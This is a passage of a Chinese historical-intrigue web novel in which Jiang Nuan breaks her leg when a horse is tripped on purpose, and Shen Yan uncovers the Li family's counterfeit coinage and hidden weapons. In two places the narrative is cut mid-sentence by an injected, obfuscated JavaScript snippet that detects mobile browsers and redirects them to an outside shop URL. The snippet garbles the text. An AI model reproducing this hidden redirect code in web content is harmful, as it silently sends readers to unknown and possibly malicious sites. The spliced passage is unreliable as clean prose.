看来这坊间的闲话也不全都是空穴来风嘛。连这两匹马都特意挑的一公一母一黑一白,这女子看来真是那个镇安司刚来的姜录事。 小侍卫将马匹检查完毕后,便识趣地退下了。 沈慕朝将白马的缰绳递给姜暖,“这母马性格温顺,你只管上去,待会儿我牵着你走一段。” 北郊的马场甚为宽阔,马儿们在里头撒欢儿的跑,远远望去可观赏到万马奔腾的奇景。不过,给贵人们跑马的场地是圈起来的,倒不用担心被狂奔的马群踏平。 之前跟唐枳共乘一匹马的时候便请教过唐枳骑马的技巧,此时□□这马性子稳定,不一会儿姜暖便能在马背上坐得稳稳当当的,还能让马慢慢地跑起来。她还没开始洋洋得意呢,远处一个策马飞驰的身影突然闯进了她的眼眸。 此人穿着一身轻甲,英姿勃发,银色的轻甲在光线下熠熠生辉,肤色是经过烈日洗礼过的古铜色。他骑着骏马从姜暖身边飞奔而过时,姜暖看到了一张年少轻狂的脸。 沈慕朝在她身后不高兴地嘀咕道:“他怎么回来了……” 姜暖回头看他,“熟人?” “不熟。”沈慕朝板着一张脸,伸手去拉她的缰绳,“走,我们去那边。” 姜暖不明所以,但还是依着他的意思调转了马头。 而这时候,那熟悉的马蹄声又回来,紧接着一声长长的马鸣声在耳边响起。 “宋怀轩见过七殿下。”马蹄哒哒哒地在他们面前停下,那人继续道:“七殿下好久不见。” 姜暖挑了挑眉,这可不像不熟。 沈慕朝眼神都懒得给他,语气冷漠:“我可不想看见你。” 姜暖用手抵着下巴,一副看热闹的样子。 宋怀轩没有丝毫尴尬,反而继续问道:“殿下今日是来骑马的?”说完眼神带了一下姜暖,眼里有了一点疑惑。 “不来这儿骑马难道是来这儿吃草的吗?”沈慕朝回呛。 宋怀轩仿佛是习惯了七殿下同他这么说话,也不往心里去,转头问姜暖:“你是镇安司新来的录事?” 被点名的姜暖直了直身体,点点头,顺便用眼神询问沈慕朝这人什么来头。 沈慕朝懒懒回道:“镇北军宋辙将军的大公子,宋怀轩。” 姜暖了然,礼貌地问了声好。 镇北军宋辙倒是听沈晏同她提过一嘴,其祖母郭氏跟皇后也算的上远亲,是皇后生父郭明渊族中一个不受宠的庶妹,不过隔了好几房,倒也算不上亲厚。 镇北军原本之前是在郭家手下,后来不知道怎么回事,郭明渊唯一的儿子郭铎战死,这领兵权稀里糊涂地就转给了宋辙的父亲手里,如今便由宋辙率领,一直驻扎在北边,抵抗北边蛮族的侵扰。 听说宋怀轩一直跟随父亲在边关戍守,倒是没想到能在这里遇到他。 姜暖对于边关的战士一直有一种钦佩和亲切感,三两句便和此人拉进了距离,沈慕朝虽然全程臭着一张脸,但碍于姜暖在便没发作。 姜暖一开始还以为宋怀轩跟沈晏似的不咋爱说话,没成想此人竟然只是不善言辞,虽为武将,但待人却温和有礼,脾气也是极好的。 他此次换防便回来给祖母贺寿,昨日刚到昭宁城,听说不久前刚从幽州运回来一批良驹,他今日便起了个大早过来看看。 方才他挑了马场里一匹最烈的马,感觉十分畅快,心里便盘算着回北荒的时候跟皇上讨要一些。 沈慕朝在旁边很大声地哼了一声。 “……”姜暖朝沈慕朝瞥了一眼,这怎么瞧着两人倒像是有仇? 宋怀轩仿佛没听到,继续跟姜暖聊天:“姜录事瞧着不太会骑马。” 姜暖指着沈慕朝,“殿下说他亲自教。” 这时候宋怀轩的表情才有了一点不一样,那是一种很古怪的表情。 沈慕朝却突然像被踩了尾巴的猫,声音都提高了八度,“宋怀轩你瞧不起谁呢!”说完就去拽姜暖的胳膊,嚷嚷道:“阿暖我们换个地方,这里有个讨厌的人连风都变得臭不可闻!” 这马场里都是马粪能不臭吗。 姜暖觉得有点头大,都没注意他亲昵的称呼,胳膊往回一使劲儿,沈慕朝一个后撤往她身上倒。 姜暖眼疾手快,掌心抵住他的后腰往前推了一下,手上轮着他的胳膊将人拨着原地转了一圈,一番花里胡哨的操作愣是让人原地站直了。 沈慕朝:“……”刚刚发生了什么。 宋怀轩:“……”好熟悉的动作。 “……”姜暖松了一口气,好险,差点就要传绯闻了。 “阿暖你是不是嫌弃我……”沈慕朝开始哼哼唧唧。 “没有……”姜暖笑着,心头补了一句才怪。 宋怀轩眉头都要夹死苍蝇了,心想这七殿下还是这般喜欢像女子一样撒娇。一段不太美好的回忆突然浮现在心头,他的嘴巴抿得更紧了。 后来沈慕朝坚持要继续教姜暖骑马,但姜暖已经不满足在一匹十分听话的马背上散步了,强烈要求换马。 就这宛如照顾孕妇的节奏,她这辈子都学不会策马飞驰了。 她瞬间想到了方才宋怀轩在马背上的英姿,那才是真正的速度与激情啊…… 恰好这时宋怀轩过来毛遂自荐,说可以换他的马,比一般的马要高大一些,同时比较亲人,不会随意尥蹶子。 “得了吧,你那马旁人都近不了身,说什么亲人……”沈慕朝撇撇嘴,给了一个优雅的白眼,“我看是只亲你。” “它也没踢过你啊……”宋怀轩看了他一眼。 沈慕朝又炸毛了,“你闭嘴!” 小侍卫将宋怀轩的马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622433|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牵过来,那马瞧着确实高大威猛,全身的肌肉很遒劲,一看就是一匹好马。姜暖不顾沈慕朝的反对,按照宋怀轩的指令靠近它,等到确定这马能接纳她之后,一个利落翻身便坐上了马背。 宋怀轩在旁边指导她放松缰绳,她轻轻踢一下马肚子,这马便哒哒哒动起来,绕着宋怀轩转圈圈。 沈慕朝在旁边眼神幽怨,觉得这个宋怀轩着实可恶,每回遇上他都没有几件开心的事儿。 另一边,姜暖已经能自己跑起来了。 一开始是小跑,渐渐能把控节奏之后,她便大着胆子加速。 风声啸啸,天地宽广,所有的一切似乎都随着呼啸而过的景色渐行渐远,这一瞬间往事皆如过眼云烟。 旷野无边际,何处不可去? 就这么奔跑,不顾一切地奔跑,什么都不重要了。 “不好!” 宋怀轩的表情突然变得严肃,跳上旁边的黑马往姜暖的方向追去。 沈慕朝的眼神也变了,那匹马有问题! 已经跑了老远的姜暖本来打算勒马返回,但是这马好像发了疯,不听她的指令,只拼了命地往前方的树林里冲去。 姜暖俯下身死死的抱住马脖子,尽力控制好自身的平衡,一边安抚着马一边思考怎么减速跳马。 马儿在林中狂奔,林中茂密的枝桠让马的速度稍减,但还不够。姜暖瞅准时机捞了一节较粗的枯木枝,又迅速将腰带解下来,将腰带的一头系在枯木枝上。 她刚刚看了这一路上树枝都干枯易折,只要利用这点,将手里的腰带卡在那些枯木枝上,利用一些阻力应该可以慢慢让马儿的速度降下来。 但愿这条路足够长。 姜暖夹紧了马肚子,用深呼吸调整紧张的心率,开始尝试将手里的腰带抛出去。所幸成功率还算高,五次有三次能卡住枯木枝。马儿的速度也在下降,但离能跳马的速度还有差距。 就在姜暖尝试第六次抛腰带后,马却突然被绊倒,姜暖直接被甩了出去。不过还好她手里的腰带正好卡住了一个枝桠,这一瞬间的阻力让她不至于被抛的太高,但也只是一点点而已。 落地的时候她能明显地感觉到右腿的骨头咔嚓了一声。 等听到救援而来的马蹄声渐近的时候,她躺在地上早已疼得满头大汗,眼神空洞地看着头顶的树冠。 这就是不羁放纵爱自由的代价么? “姜暖,你还活着吗?” 咦? 如此熟悉的声音,她以为自己出现幻听了,支楞起脖子一看,竟然真的是沈晏的声音。 只见沈晏还没等马停下就直接从马背上跳下来,像开了闪现似的跑到了姜暖的身边,用手搂着她的背,修长的手指在她身上按来按去。 “你咋来了?” “你伤哪儿了?” 两人同时开口。 四目对视,气氛稍微有一点点的旖旎。 姜暖眨巴了下眼睛,顺着沈晏的力道坐起来,看了一眼自己的右腿,“腿断了。” 沈晏顺着她的目光看过去,并用手轻轻捏了一下,嘴巴抿得紧紧的,瞧着有点不大高兴。 这时候,宋怀轩才姗姗来迟。 没办法,他临时找的马肯定不如沈晏的踏岳跑得快。 沈慕朝在原地急的团团转,等看到三人安然无恙回来了才松了一口气。看着姜暖右腿上临时绑上的三根木头棍子,那眼睛一下就红了,吧嗒吧嗒往下掉眼泪。 姜暖最看不得人哭,笑着说起了俏皮话:“殿下你这哭得好像我死了一般。” 沈慕朝连忙呸了三声,“死什么死,不吉利。” “我瞧你倒挺乐意死了。”沈晏看着怀里被披风裹成粽子的人,说出口的话里莫名夹杂了一丝火气。 姜暖啧了一声,这叫什么话。 能活谁乐意死。 宋怀轩牵着那匹刚刚发疯的马,站在一旁低头沉思。 刚刚林中他找到了一条绊马索,这一切应该是有人提前安排好的,像是冲着他来的,姜录事不过阴差阳错替他挡了灾。 但是他才刚回昭宁城不足两日,为何会被人盯上? 沈晏:“皇上命你即刻进宫。” 说完,便策马离开。姜暖侧坐着窝在他的怀里,头轻轻靠在他的胸膛上,看似闭目养神,其实人已经痛的快要撅过去了。 23. 第 23 章 离北郊大营马场不远是禁军的军营,军营处设有军医署,沈晏便先带着姜暖去军医署处理腿伤,沈慕朝骑着马屁颠颠地跟着后面。姜暖在屋里进行包扎的时候,沈晏随便找了个借口将沈慕朝打发走。 沈慕朝一脸幽怨地告别:“那你跟阿暖说,我过两天去看她。” 沈晏挥手将人送走,等里头处理好以后,他将人抱出来。姜暖左右看了看,问道:“殿下呢?”她刚才还听到人在门口叽叽喳喳的,怎么一会儿的功夫人就不见了。 沈晏将她单手揽在怀里,另一只手拉了缰绳策马回城。 “有急事,便走了。” 姜暖哦了一声,便没作声了。她搂着沈晏的硬梆梆的腰肢,心里纠结着要不要跟沈晏讲她前不久在西市听到的八卦。 沈晏低头看着她的睫毛,开口道:“七殿下为何叫你阿暖?”你俩的关系什么时候变得这般亲近了? 脸颊上传来微弱的震动,姜暖背脊微僵,稍微坐直了身体抬头看他,茫然道:“啊?他这么叫我了吗?”她怎么不知道。 四目相对,沈晏不自然地眨了一下眼睛:“乱动什么?”他把姜暖的脑袋往下摁了摁,嘴角无意识地往上翘了一点。 后脑勺莫名挨了一比斗的姜暖:“……” 她是腿折了,不是脖子折了。 算了,这么靠着舒服。 姜暖随口问:“皇上召宋校尉进宫是有什么事?” 沈晏如实相告:“卧牛山剿匪。” 两人一马踏上玄武大桥,跨过玄武门,缓而稳的马蹄声叩响青石板, 哒——哒—— 跟姜暖此刻的心跳基本重合。 “就这么告诉我了?”她有点惊讶。 沈晏:“嗯。”反正过两天也会宣读圣旨,又不是什么不可告人的机密要事。 “卧牛山匪患一事早就在商议人选,恰逢宋怀轩从北荒回来,皇上便定了他去。” 离昭宁城这么近的地方,且长达两年之久,现在才派人去清剿,他们前脚才受到匪徒的袭击。 “剿匪一事是你提议的?”姜暖猜。 沈晏答道:“算,也不算。” 他在回昭宁城那天面圣时确实提过此事,但当时皇上没有正面回复,大约过了两日,内阁的人突然在朝会上提出,李崇义等人也附议并举荐了人选。不过举荐的几个人皇上都没有采纳,估摸着心里应该早就想好了人选,就等着人回来呢。 姜暖知道沈晏应该是想从山匪入手,但他们能想到的,对方怎么会没有防备和后手呢?她接着道:“皇后应该不会那么蠢,直接露面和那群山匪打交道,就算将那些山匪头头都抓了来,估计也问不出什么。”说不定那日接头之人早就被灭口了。 沈晏挑眉,没想到她竟然能猜到皇后身上。不过,他此次的目的倒不是抓那日跟山匪交易的人。便说:“倒也不全是因为这件事。” 姜暖哦了一声,道:“那你还挺忙的,我说这连着十多天都没见着你人。” 沈晏似乎笑了一下,他问姜暖:“你还记得那日我在大理寺看的那些卷宗么?” 姜暖回想了一下,便问:“昭宁城恶钱一事?” 这几日她多多少少听到过,据说户部那边都撸了好几个,其他五部也各有殃及。皇上也是因为此事生了一场大病,到现在都还没缓过来。 沈晏又问:“还记得那个被抓到的大胡子说了什么吗?” 那日,那大胡子死之前说有一个神秘人带了五个两人抬的大箱子上山谈交易,箱子里都是崭新的铜钱,每个箱子里足足有八十贯。 “你是说那些钱都是恶钱?”姜暖惊呼。 沈晏点点头,道:“目前只是怀疑。” 那大胡子说箱子是两人抬的木箱,箱子里装了八十贯崭新的铜钱,但是根据大昭铜钱的重量来看,一个两人抬的木箱至多只能装满五十贯的铜钱。 若他的猜测为真,那这事估计也跟宫里的那位脱不了干系。 姜暖听得咋舌,一国之后不仅涉嫌残害股肱之臣,还牵扯进了货币造假一事,看来这昭宁城也不太平,说不定背后还牵扯了权力争夺。 “沈晏。” “嗯?”沈晏低头看她,不明白对方怎么突然语气变得这么严肃。 姜暖放在沈晏腰间的手指蜷了蜷,纠结良久还是开口:“我听到了一个关于你的流言,你想不想听?” 她说完大概感觉过去了三秒钟,才听头顶的沈晏开口:“你说吧。” 姜暖将沈晏腰间的衣服褶皱捏着,慢慢将她从西市听来的那段故事说出来。回王府的路平坦又宽广,行人小贩穿梭其间,揽客声起又落。她的声音压得很低,到最后甚至搂上了沈晏的脖子尽力凑到他的耳边说话,远远看着就像一对耳语的夫妻。 姜暖说完还以为沈晏会有什么过激的反应,但是沈晏的表情很平静,只淡淡地回了一句,“我知道了。” 此后,两人陷入长时间的沉默,一直到沈晏将她抱进王府的房间,让康伯安排两个丫头悉心照料她。姜暖正欲说什么,但沈晏脸撇到了一边,又跟康伯细细交代了一番后,便离开了。 姜暖在心头嘀咕,这瞧着也不像没什么事的样子。 这天后的四五日,沈晏又没有露面,康伯说送她回来第二日一大早又出门了,说是要出一趟远门,快的话半个月就回来。 姜暖躺在贵妃椅上晒太阳,捧着一碗猪蹄儿汤喝得呼噜噜的。 康伯坐在旁边满脸慈爱,这丫头能吃能喝能睡,一看就是有福之相。自打她一进府,这府里上上下下都忙起来了,也不知道王爷打算什么时候给人家一个名分。 等世子回来,他可要好好提一提,不能这么平白无故耽误人姑娘。 姜暖喝完汤,笑眯眯地问眼前这个慈祥的老爷爷:“康伯啊,我听说这个小院子以前住的是大世子。” 她可没有八卦啊,她就是好奇,随便问问。 康伯心道,看吧,人姑娘开始急了,都亲自打听起来了。这世子也真是的,给人都领回家了,还什么都不说。 于是,康伯将空碗搁在旁边,在一旁的石凳子上坐了下来。要说关于安王府以前的事儿,康伯自然是最清楚的。 王爷和王妃是青梅竹马,自小一块儿长大的,因为王妃的父亲从前是在宫里教皇子们功课的太傅。 “王爷自小便十分喜欢王妃,后来也顺利将王妃娶回了家,那一日王爷高兴得跟孩子似的。”康伯说到那日婚宴,人也变得十分高兴。 不过因为身体孱弱,直到他们成亲三年后才有了大世子,也就是沈晏的哥哥沈佑安。安世子自小便体弱多病,这点倒是随了安王。安世子刚生下没多久差点夭折,安王妃更是每日吃素求神拜佛,只为祈求老天不要收走这个孩子,所幸最后挺过来了。此后每年王妃都要去广济寺点一盏长明灯,每个月更是 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两年后,王爷的身体也急转直下大不如前,没多久便去世了。 临走前特意将他唤到跟前叮嘱,说王妃心里虽有气,但晏世子总归是她生下来的孩子,如果王妃日后无心力照料,希望他能晏世子平平安安长大。 那天夜里,王爷病床前只留了王妃一人相伴,在夜里的时候聊着天就走了。 王妃大病一场,在王爷的丧事结束之后,便只带了贴身的陪嫁丫鬟搬去广济寺住了。这一住,就是二十多年。 康伯眼里似乎有泪,他喃喃道:“我们世子,不容易……” 姜暖听完心里感觉堵得慌,沈晏看起来好像真的不讨母亲喜欢,仅仅是因为意外害死了哥哥么?那外头传言沈晏是皇上的私生子又是这么回事? 青梅竹马…… 谁规定青梅竹马只能有一个? “当年一起读书的是不是还有当今圣上?” 康伯不自然地摸了两把胡子道:“那、那是自然咯。” “皇上当年那会儿还只是个不起眼的小皇子,谁知道后来娶了郭家女,从此一飞冲天变成了太子,正式入主东宫。” 姜暖试图从侧面再挖一些八卦,门房那边突然送过来一个帖子。 “宋家递来的请帖,说是宋家老祖宗寿诞的请帖。” “宋家不是很早就递过帖子了么?”康伯有点摸不着头脑,上个月才收到过宋家递来的帖子,这怎么又送来一个,难道是改时间了? 打开拜帖一看,只见上头邀请的宾客是镇安司的姜录事,落款是宋家老祖宗郭氏。 康伯看看帖子,又看看姜暖,这丫头是啥时候跟宋家有来往的?还得了那宋家老祖宗亲自下的帖子。他将帖子递给姜暖:“请你的。” 姜暖也懵了一下,接过来:“还有我的份儿?” 康伯一脸疑惑地盯着姜暖瞧,好似要在她脸上看出一朵花来。 姜暖看完沉思了一会儿,突然恍然大悟。她指着自己的右腿解释道:“宋怀轩的马弄的。” 康伯摸了一把胡子,“难怪。” 这宋怀轩是郭家老祖宗的宝贝孙子,姜暖骑了宋怀轩的马摔断了腿,郭氏想必认为是姜暖给他的孙子挡了一灾,所以下了帖子,应当是想当面感谢。 寿宴是在七月下旬,正好那会儿她的腿也好得差不多了。 24. 第 24 章 眨眼间就到了五月,姜暖在王府中成日除了吃喝就是在院中晒太阳,有时候康伯会多待一会儿一边喂着鱼一边同她聊天解闷儿。 这几日姜暖已经从康伯口中听全了沈晏的成长史,从上房揭瓦与府内上下捉迷藏闹得人仰马翻的顽皮到如今嬉笑怒骂不流于表面的稳重,生长痛对他而言应当是剧烈的。 两个小丫鬟在旁边剥着核桃和花生,叽叽喳喳地说着从外头小厮那里听来的闲谈。姜暖听了一耳朵,说的好像是卧牛山剿匪的事。 两个小丫鬟谈起宋怀轩的时候都显得得很兴奋,一脸的春色藏都藏不住,夸他生的如何好看,耍起长枪来又是如何的洒脱不羁。两个人宛如两只挤在一根树杈子上叽叽喳喳的小麻雀。但说着说着又唉声叹气起来,感叹那等天子骄子不是她们小丫鬟能肖想的,况且她们还听说此次宋校尉回来,除了给祖母过寿,也是家里要借机替他相看一门亲事。 “当外室都轮不到我们呢~” 姜暖:“……” 阳光透过树叶的缝隙洒在脸上,姜暖找小丫鬟借来一张帕子盖住脸。耳畔是风吹得树叶簌簌作响,小丫鬟们默契闭了嘴,专注地剥着手里的核桃。鱼塘里的鱼儿偶尔扑腾两下,除此之外再无别的声音,眼下正好眠。 沈晏回来的时候,路过拱门便瞧见在树下睡着的姜暖,石桌上放着一筐剥好的核桃仁儿,旁边架着一个小炉子,上头温着茶水。 他将守着的丫鬟打发走,慢慢踱到她身边蹲下,手掌落在她的右腿上小心地检查着。 万幸,骨头没有长歪。 贵妃榻上的人突然腰腹一紧,整个上半身刚要弹起,早有预判的沈晏迅速将人按住了。 “别动,是我。” 脸上的手帕滑落,露出一张睡眼朦胧的脸。 这脸好像比之前有了点肉。 姜暖迷迷瞪瞪地睁开眼,见是沈晏才彻底放松身体,呆呆地回了一会儿神才道:“你事儿办完了?” “嗯。”沈晏撩起披风在石凳上落座,“那箱子里头确实是恶钱。” 卧牛山上共有七个匪寨,只有两个实力比较强,宋怀轩领兵过去的时候,那七个匪寨因为分赃不均正在内讧,一看是官府来人,以为又是走个过场,便象征性地反抗了一下,结果被打懵了。 除了两个大的寨子还顽强抵抗了几天,其他五个小的一看打不过当场就扔了武器老老实实地跟着下了山。 人交给当地的县官依法处置,缴获的那几箱钱便运回了昭宁城,在返程的路上有人试图掉包那几箱钱,被不知道从哪儿冒出来的镇安司当场抓获了。 宋怀轩还在疑惑,这几箱钱究竟有什么问题需要掉包,后来仔细一看,竟然发现这几箱全是恶钱。好在镇安司在此地办事,否则他便误了大事。 于是紧赶慢赶将这几箱恶钱一路护送回了昭宁城,禀明了皇上。 朝内顿时一片哗然,大理寺卿谈望舒被责失职,皇上便命镇安司和大理寺协同办理恶钱一案。宋怀轩此次剿匪有功,皇上封他为御前侍卫副统领,择日走马上任。 姜暖听完过程唔了一声,感觉整个过程意外地顺利,就是宋怀轩这职升得有些措手不及。她前不久还听宋怀轩叨叨过要从北郊马场讨要一批良驹回北荒呢,皇帝这么一搞,他怕是回不了北荒了。 有点像被留在昭宁城为质了。看来皇帝也信不过驻守在北荒的镇北军啊,毕竟兵权还握在宋家手里,不得不防一手。 对于姜暖的猜想,沈晏不发一言,算是默认。 那日出了宫门,宋怀轩才恍然大悟,他就说镇安司怎么会来的这么凑巧,之前便听说他和七殿下曾在卧牛山遇山匪袭击一事,想来那时就发现了这几箱钱有问题。 如今镇安司参与,想必皇上已经对此事没有耐心了,势必要将这块烂疮连根挖掉。 后来如他所想,不过半个月的时间,朝中的局面又是另一番景象。太子屡屡犯错,惹得皇上大动肝火,大有废储的念头,最后碍于膝下并无合适的储君人选,皇上只能憋着一口气处理了不少太子麾下的人,其中大多都是李家扶持上来的。不少人嗅到到了风雨欲来的信号,纷纷开始与李家保持距离。 内阁大学士李崇义突然感觉到了李家的倾颓之势,他们这位皇帝终于要对李家下手了。但只要太子稳坐东宫宝座,他们李家就永远不会彻底倒下。 可他却没想到,皇宫里的那位虽然是个凤雏,但自家的儿子更是个卧龙。 …… 这段时日,大理寺内灯火通明,镇安司的诏狱血流成溪。 姜暖猜的不错,那日上山的人的确有被灭口的痕迹,不过一直没找到尸体。 这几日除了忙着找人,云县那边也传来了无名矿山的消息。唐田和唐枳忙的脚不沾地,但还是抽了空来王府看姜暖,并带来了一对唐枳亲自做的腋拐。 而唐田则是给她带来了好多个话本子,从书生与狐妖再到无名小兵征战沙场最终成为一代名将可谓是百花齐放,整整齐齐码了两大摞。 姜暖嫌弃字儿太小看的费劲,唐田就翻开一本读给她听。唐枳将腋拐递给她让她试试,不合适的话他现场改。 沈晏从康伯手里抓了一把鱼食喂鱼,一副岁月静好的样子。 最后他嫌弃唐田太吵了,遂将人赶出了府。唐枳也收了工具箱,将改好的腋拐重新递给姜暖,两兄弟便一前一后出了府门。 姜暖撑着腋拐试着走了两步,觉得比成日躺在贵妃榻上舒服不少,一时间像解了锁链的小狗,在小院里扑腾起来。 沈晏抱着胳膊在旁边看她,康伯慢悠悠凑过来,在他的背后说:“好看吧。” “嗯。” “嗯?”反应过来的沈晏迅速扭头,只见康伯一脸笑眯眯地,看得他浑身不自在。 “世子不打算给这丫头一个名分?”康伯终于问出了在心里搁置许久的问题。 沈晏的表情突然变得呆滞,然后眉头慢慢皱起,最后越皱越紧,似乎陷入了一个未知的困境。 康伯见状觉得自家世子好像从来没想过这个问题,顿时天都塌了。 世子莫不是要做戏里唱的负心汉? “世子你……” 正打算说教一番,刚刚离开的唐枳唐田兄弟二人又返回来了,步履匆匆,表情严肃。 “世子,人找到了。” 沈晏脸色一变,同二人离开,往镇安司的方向走去。 康伯的话卡在开头,只能张着嘴看着他们三人离开。姜暖此时也走累了,便靠在贵妃榻的靠背上歇息,一回头发现院里就剩康伯了。 “忙啊,都忙点好啊……”康伯叹了一口气,又去池边喂鱼了。 姜暖:“……” 这话听着耳熟得很。 三个人离开不久,门房那边又递过来一个拜帖,康伯拿过来一看,又是宋家。 门房说是给姜录事的,姜暖拄着腋拐上前,就这康伯翻开拜帖的手凑上去看了一眼。 落款上写的是宋令仪,内容是携堂哥于下月初来王府探望姜录事。 宋令仪?堂哥? 谁? 康伯看着她,她看着康伯。 康伯解释道:“宋令仪是宋家二房的嫡女,她的堂哥自然是宋家大房的公子。” 姜暖想了一会儿,道:“宋怀轩?” 康伯点点头,又道:“应当是宋公子想来看你,但是他一个人过来又不太方便,所以借了堂妹的名头。” 姜暖哦了一声,道宋府规矩还挺多。 康伯问她意见,她将康伯手里的鱼食都倒腾了过来,道:“来便来呗。” “那我去安排一下。”康伯说完便离开了。 一般正儿八经下了帖子要来的,自然是要按照规矩好好接待,客人要用的餐具茶具之类要去库房挑选,还有当日的膳食,也要着手准备。 “康伯,日子还早着呢。” 康伯慢悠悠地走着,头也不回道:“不早,不早。” 这么多年还是头一回有人下帖子来府中拜访,他都有点手生了。 镇安司的诏狱内,唐田捂着鼻子,说:“这人叫孙全,在昭宁城无亲无故,身上有多出刀伤,脖子上还有一处勒痕,想必之前经历过惨烈的厮杀。” 孙全是被人从破庙的乞丐窝里翻出来的,身上穿着一身破破烂烂的衣服,头发乱得像鸡窝,身上的伤口早已溃烂发脓,一身的臭味令人退避三舍。 他曾经是西市一家赌坊的管事,数月之前便不知去向了。他的指甲缝里全是黑泥,应该是挣扎抓地所导致,头发里有黄色的花朵,跟卧牛山上的连翘花一样,四月正是花期,想必在他从卧牛山下来的途中就被人偷袭了。 可他运气不错,竟然逃脱了。 “运气?”沈晏显然不信,问:“你们在那里找到的?” 将人带回来的人回答道:“临川县的一处破庙里。” 那日宋怀轩将几个土匪头子交给当地的县令处置后,隔天那几人便在牢里悬梁自尽了。好在他们在第一时间便扮作狱卒潜入牢房问出了那人的特征,并找人画了画像。 他们先是在卧牛山发现了血迹和泥地上的抓痕,后在不远处又发现了一具尸体,循着血迹一路追踪到一处断崖,但是断崖下却没有发现任何尸首。 他们又在附近的城镇搜寻,最后还是听到路边有几个乞丐闲聊,觉得可疑,便去了乞丐所说的破庙,果然见到了缩在角落里等死的孙全。 此人脖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632212|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子上这么深的勒痕,当时应该处于生死边缘,若不出意外,他当场就会被勒死。但他竟然反杀了,并成功混在了一群乞丐里,最后安然无恙地躲在忘川县的一个破庙里等他们发现。 “有人将他活着送到了我们手里。”沈晏笃定,且猜到了应该是曾经操控姜暖的那个人。看来这个人是想借他的手对付皇后和李家。 与此同时,大理寺那边也查到了恶钱的来源,说来也巧,有一个花楼的老鸨过来报官,说是有人花了一大笔恶钱将她楼里的花魁娘子赎走了。 待大理寺上门一查,发现这恶钱跟山匪窝里带出来的恶钱做工极为相似,便顺着这个线索查,这一查就查到了西市最大的赌坊。 赌坊的管事已经失踪了好些日子,新来的管事一问三不知,直喊冤枉,说发现赌坊里有恶钱之后,便将这些钱都锁在了库房,谁知前段时间竟然不翼而飞,他们也不敢报官。 这些恶钱都是客人带来的,他们每日迎来送往那么多人,早就分不清谁的钱真谁的钱假了。 一时间镇安司出动全部的人手调查,凡是近半年在那赌坊的桌上输过十贯以上的人,甭管是谁,都被带走了。东西两市的街道上来来回回好几趟全是镇安司和大理寺的人,一直持续到了深夜。 其中除了工部尚书之子吴有为,还有工部营缮所所正李维翰,李维翰一口咬死说那钱是一个富商孝敬给他的。他们也不知道是假的,便拿去赌坊输光了,他们也是被蒙骗了。 等到大理寺赶去富商家里抓人的时候,那富商早已畏罪自杀。 最后,吴有为被判了杖责三十。李维翰则杖三十,并摘去了乌纱帽。 原本以为此事到此便告一段落,谁知就在两人领完杖责的第二天,沈晏却突然在朝堂上要工部尚书吴大人给他一个说法。 在场大小官员你看看我,我看看你,都不知道世子这葫芦里卖什么药。而被不孝子气得还没缓过劲儿来的吴大人当众被安王世子讨要说法,一时楞住了,心头几番思量也不知道是什么时候得罪的这位杀神,难道又是自己那个不孝子惹的祸? 沈晏当下便将之前卧牛山遇匪一事说了出来,并呈上了犯人的口供,供状上写着,孙全受人指使,与卧牛山土匪勾结,伏击安王世子。 吴大人哆哆嗦嗦着说不出话来,他完全不知道此事从何说起。 七殿下此时出面作证,表示确有此事,他们在卧牛山被土匪伏击,是土匪头子收了别人的好处,只是没想到竟然是吴大人的儿子。他上前一步:“不知吴大人与我们镇安司的司使有何仇何怨呐。” 吴大人顿时叫苦连跌,他的儿子定然是做不出此等大逆不道之事,直呼当中是不是有什么误会,就算给他十个胆子他也不敢对世子下手啊。 沈晏突然笑了一声,郎声道:“吴大人莫害怕,我方才不过是同你开个玩笑罢了。” 正当吴大人心里松了一口气,抬起手来准备擦汗时,又听沈晏道:“他是没有胆子,但他背后的人胆子却不小。” 吴大人的心又被提起来,“这这这……又从何说起。” 沈晏没再看吴大人,转而看向立在一旁不说话的李崇义。“你说呢?李大人?” 被点名的李大人面不改色,朝他一拱手道:“不知犬子何处得罪了世子?” 吴大人被两个人夹在中间,他动也不敢动,恨不得将头低到□□里。 沈晏缓缓道:“自然是李所正私铸铜钱一事。” “子虚乌有!”李崇义拂袖。 “可李所正已经在狱中坦白了。” 李崇义的脸色顿时一变,一双眼睛牢牢地锁住了沈晏,思忖他的话有几分可信。 沈晏慢慢踱到李崇义面前,沉声道:“令郎白纸黑字写得明明白白,李大人要亲眼看看么?” 李崇义踉跄了两步,怎么会? 他明明打点好一切了,这个逆子怎么会蠢到承认私铸铜钱!难道沈晏竟然查到了那处矿山? 李崇义原本以为沈晏会借此机会提五年前的青衣一案,没想到他竟然声东击西打了自己一个措手不及! 之前他带着唐家兄弟去漓州,他便生出不好的感觉,在得知那逆子还在继续开采铜矿筹钱之后,当即便大发雷霆让他把矿山封了,将所有知情者全部处理掉。 看来这个逆子显然是不把他的话放在心上! 这私开矿山一事如果泄露出去,往大了说便是意图谋反株连九族,往最小了说也是抄没家产,流放三千里的罪名。 不慌! 只是贪财私铸铜钱,大不了便舍了这个儿子。 但让他没想到的是,最后竟然在矿山里搜到了许多兵器。等那一箱箱兵器抬上来的时候,李崇义便知道李家完了。 25. 第 25 章 李家的倒台是必然的,但也是猝不及防的,李崇义打死都想不到最后竟然是栽在了自己的儿子手里。 出面证实这些兵器皆是李家授意铸造的是李维翰的心腹,此人面见圣上面不改色,条理清晰地把所有账本内容一一道来,李崇义便明白了,这是君要臣死。 